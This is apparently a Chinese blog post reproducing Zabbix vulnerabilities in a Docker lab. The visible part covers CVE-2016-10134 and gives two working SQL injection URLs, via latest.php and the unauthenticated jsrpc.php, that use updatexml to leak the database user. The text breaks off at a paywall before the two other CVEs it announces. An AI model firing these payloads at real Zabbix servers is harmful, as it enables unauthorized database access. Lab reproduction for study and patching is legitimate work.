本文详细介绍了Zabbix的三个安全漏洞：CVE-2016-10134的PHP SQL注入，CVE-2017-2824的命令注入，以及CVE-2020-11800的IPv6命令注入。通过复现这些漏洞，展示了攻击者如何利用这些漏洞执行任意SQL查询和命令，以及如何配置和检测这些漏洞。文章还提供了环境搭建方法和POC代码。
一、 CVE-2016-10134_ zabbix latest.php SQL注入漏洞
漏洞详情
zabbix是一款服务器监控软件，其由server、agent、web等模块组成，其中web模块由PHP编写，用来显示数据库中的结果。
运行环境
靶场：192.168.4.10_ubuntu
执行如下命令启动zabbix 3.0.3:
#docker-compose up -d
执行命令后，将启动数据库（mysql）、zabbix server、zabbix agent、zabbix web。如果内存稍小，可能会存在某个容器挂掉的情况，我们可以通过`docker-compose ps`查看容器状态，并通过`docker-compose start`来重新启动容器。
复现漏洞
访问`http://your-ip:8080`，用账号`guest`（密码为空）登录游客账户。
登录后，查看Cookie中的`zbx_sessionid`，复制后16位字符：
将这16个字符作为sid的值，访问`http://your-ip:8080/latest.php?output=ajax&sid=849cafc30fd8348b&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)`，可见成功注入：
这个漏洞也可以通过jsrpc.php触发，且无需登录：`http://your-ip:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)`：
最低0.47元/天 解锁文章
1942
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
